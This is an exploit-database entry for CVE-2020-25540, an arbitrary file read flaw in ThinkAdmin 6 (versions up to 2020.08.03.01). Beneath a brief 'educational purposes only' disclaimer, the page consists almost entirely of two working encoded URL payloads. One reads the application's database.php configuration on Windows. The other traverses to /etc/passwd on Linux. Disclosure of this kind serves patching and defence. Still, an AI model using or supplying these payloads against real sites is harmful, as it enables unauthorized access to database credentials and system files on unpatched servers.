Thinkadmin 6 arbitrarily file read Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-09-15 | Type : webapps | Platform : php
This exploit / vulnerability Thinkadmin 6 arbitrarily file read is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: ThinkAdmin 6 - Arbitrarily File Read
# Google Dork: N/A
# Date: 2020-09-14
# Exploit Author: Hzllaga
# Vendor Homepage: https://github.com/zoujingli/ThinkAdmin/
# Software Link: Before https://github.com/zoujingli/ThinkAdmin/commit/ff2ab47cfabd4784effbf72a2a386c5d25c43a9a
# Version: v6 <= 2020.08.03.01
# Tested on: PHP7.4.7,Apache
# CVE : CVE-2020-25540

PoC:
On Windows read database.php payload:
/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34

On Linux read /etc/passwd payload:
/admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s